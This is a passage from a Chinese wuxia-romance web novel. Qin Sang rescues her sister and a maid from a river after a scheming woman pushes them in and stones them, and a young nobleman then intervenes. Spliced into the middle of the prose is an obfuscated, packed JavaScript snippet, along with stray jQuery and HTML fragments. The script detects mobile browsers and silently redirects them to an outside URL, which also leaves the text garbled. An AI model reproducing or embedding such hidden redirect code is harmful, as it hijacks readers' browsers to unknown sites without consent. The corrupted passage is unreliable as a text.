谢岁安在客栈大堂内吃饭,忽见一群人骂骂咧咧地进来。
为首一个人脸黑如炭,另一个哈巴狗似的便是清晨在茶园见到的秦桑说过话的刀疤,自称三羊的那个。
几人着小二要了酒和肉,旁若无人的高声攀谈起来。
三羊谄媚道:“主事不会有事的,那小丫头不敢,虽说秦捕快是咱们这儿的能人,可他也不能不讲王法不是,何况他上头还是县太爷,咱们不过卖他个面子,能够平平安安接回李主事,也少了许多麻烦。您可不知道,那秦捕快在咱么这儿,啧,武功是这个。”三羊举起右手大拇指,语气里满是敬畏。
黑脸的手指动了动,谢岁安这才发现,这人左手拇指裹上了白布。
小儿很快上了酒,三羊给黑脸的首领倒上,黑脸青年一言不发,端起酒杯一饮而尽,末了方道:“我只给他两个时辰。两个时辰之后不见人,别怪我不客气。”
说着他又吩咐一个手下道:“去,把管事留的那只后手带出来,咱们不能坐以待毙。”
那手下立刻应声站起来,出去办事去了。
谢岁安敲了敲桌面,示意缙云跟上。
这边黑脸汉子脸上终于缓和些,又连喝了两杯酒,忽然邪邪笑起来:“区区一个县衙的捕快,敢跟老子谈交易,哼,等管事的出来,我要让那丫头,还有那姓秦的捕快跪下管我叫爷爷!”
尽管说这话时他的拇指还隐隐作痛,可他似乎已经有了谋算,那阴冷险恶的笑容,十分欠揍。
三羊忙谄媚逢迎:“那是,咱们孙统领还有李管事可都是衢州吴爷爷的人,咱们栎县这些虾兵蟹将哪儿能跟您比,他们再横,还不是只有乖乖交人的份儿!”
一旁的谢岁安往嘴里丢进一颗花生米,脸色难看得吓人。
***
先前三羊带着黑脸汉子一群人跑到秦宅门口闹事,秦宝蕴一脸从容地将看起来最凶的黑脸汉子的左手拇指给捏折,并接连撩翻好几个冲上来的好手,然后甚为从容地露出“宽厚”的笑容:“给秦某个面子,先带人撤了,两个时辰后,人会安然送到朝天门客栈,如何?”
不如和还能如何,十打一都打不过,既然对方给了台阶下说会放人,三羊赶紧连哄带劝地拉走了黑脸老大。
秦宝蕴回到院内,秦桑咬着牙不情不愿地将关押李胖子的地点告诉了秦宝蕴,秦宝蕴道:“安心在家呆着,其他的,我来解决,保证他们不敢再来犯。”
说完便走了。
秦桑磨了磨后槽牙,挽起袖子去了厨房。唐老太爷和唐子安无辜因自己受伤,如今除了做些药膳过去赎罪,别无他法。做人或许就这样,总有许多的无奈,总有不尽人意的地方。
能怎么办呢,一届凡人。
她边洗菜边念叨:“南音啊南音,果然还是亏了,该要十万功德的。”
她做菜做到一大半,母亲韩静忽然闯进来,慌慌张张道:“桑桑,玥儿她不见了。”
“嗯?”
“方才有人送来一封信,说是枫儿送来的,玥儿拿着信走了,可我觉得不对劲,枫儿上午才到家里来过,而且……”
秦桑擦擦手,带着英儿骂骂咧咧冲出了门。
好得很,那死胖子果然是个人才,果然留了秦玥做后手。秦宝蕴也是,和一群流氓讲道理,这么多年江湖白混了。她得赶去城北纸笔铺子拦住秦宝蕴放人,怎么也得找到秦玥后再说。
秦桑家住城南,纸笔铺子在城北,她要沿河向北去,可此时天色已暗,他们家也不在热闹的商区,虽然偶尔有人家的门前亮起的灯笼火,照明却也十分有限。
在经过第三座跨河桥之时,秦桑脚步一顿,因为忽然听见桥下码头传来女孩子的争执声。
秦桑刚准备悄悄走过去察看,就听见扑通一声短促的惊呼和落水的闷响。
秦桑快跑了几步,果然看见个熟悉纤弱的背影,秦玥的粉色衣衫浮在水面上,人在水中慌乱的扑腾。虽然都住河边,可秦玥自小就怕水,秦桑几步冲下台阶将苏清延往边上一撞,然后只身扑入了水中。
苏清延大概没料到此时竟忽然有人冲出来,吓得倒退了两步,当即就想跑,却被英儿死死攥住了。英儿不会说话,要抓苏清延就没法去找人求救,她紧张地攥着苏清延,一会儿看看水中的两人,一会儿四下望望祈求能找到个救援。
苏清延慌不择路,亡命之徒力气大得惊人,她咬着牙,干脆一不做二不休,觑着英儿分神之际将她也一把推入河中。
随即,又抱起河边的大石,朝着河中三人狂乱地砸去。
秦桑眼看要抓住秦玥,腿却被石头砸中,猛地往下一沉。万万没料到,那个看似柔弱的女人疯狂起来会这么疯狂,秦桑暗暗叹了一口气,心道人世间的恶意啊,往往令人意想不到,又无处不在。
她凝神憋了一会儿气让自己缓缓下沉了片刻,待腿上那股刺痛过去了,才又重新往上瞪。那边秦玥越扑腾越往水下沉,就连被秦桑抓住后,她也没头苍蝇一样四角并用地胡拍乱打,再次将秦桑的腿踢中……
秦桑:“……!!”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380752|168466||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
所幸这段扑腾终于招来了人,一道黑影从水上掠过,秦玥被人拎小鸡一样的从水中拎起,接着那人足见在岸上一点迅速反回来水面再次拎起马上就要沉下去的英儿,轮到秦桑时她忙摆手:“不必,我自己来。”
她自己游回了岸边。
谢岁安正好整以暇地蹲在码头上摇着毫无用处的折扇,他朝秦桑伸出手:“第三次了,桑桑姑娘,不要太感谢我,本公子可不需要你该以身相许。”
秦桑懒得理他,也不抓他伸出来的手,自己默默然地,水淋淋地爬上了岸。
可她腿上一软,忽然踉跄一下险些再摔倒,还好谢岁安眼疾手快将人一把扶住了。
秦桑头顶传来少年嗤嗤的笑声,然后是清亮磁性的嗓音带着清浅的呼吸响在耳边,有些难得的温柔:“当心点,瞎逞什么强。”
秦桑抬头,便看见淡淡月光映照下,少年轮廓分明的侧脸,他眼睛算不上很大但狡黠且明亮,像缀入黑夜的两颗珍珠,鼻梁高挺线条流畅,虽说还有些稚气,但胜在白白净净,一尘不染。只是傲娇不可一世的表情总让人觉得这是一只傲娇的开屏花孔雀,不定哪天就会得罪人被拔毛泄愤。
旁边英儿和秦玥一个个地都在拼命咳,秦桑看过去,发现苏清延站在缙云旁边一动不动,且已泪流满面。
秦桑了然,对缙云道:“来,给她解穴。”
缙云哦了声,乖乖地在苏清延的身上重重点了下,苏清延甫一动弹就想一头往水里冲,被缙云一把扯住了衣袖,少年单手负背,一脸镇定:“姑娘请自重。”
秦桑挣开谢岁安的手,走到苏清延面前,然后毫不留情毫无预兆地甩了她一个重重的巴掌,“啪”地一声脆响,把周围人都惊呆了。
苏清延侧头捂着脸,斜眼看向秦桑,她咬牙将即将哭出来的声音咽了回去。
秦桑的声音在这种环境之下堪称温和:“你收了那死胖子什么好处,竟连杀人害命都做得出?”
苏清延不说话。
这时一旁的谢岁安不耐烦了,一脚踢在苏清延的膝弯上,苏清延闷哼一声跪坐在地上。
谢岁安冲秦桑笑笑:“对杀人犯就不必怜香惜玉了吧?”
“我是杀人犯!”这时苏清延终于忍不住了,她声音微微发颤,却狠声道:“我是杀人犯,可我也只想活下去!人不为己天诛地灭,我有什么错!”
秦桑:“……?”
这时秦玥已经咳完了,看见苏清延崩溃,下意识道了声:“延延方才不是故意推我的……”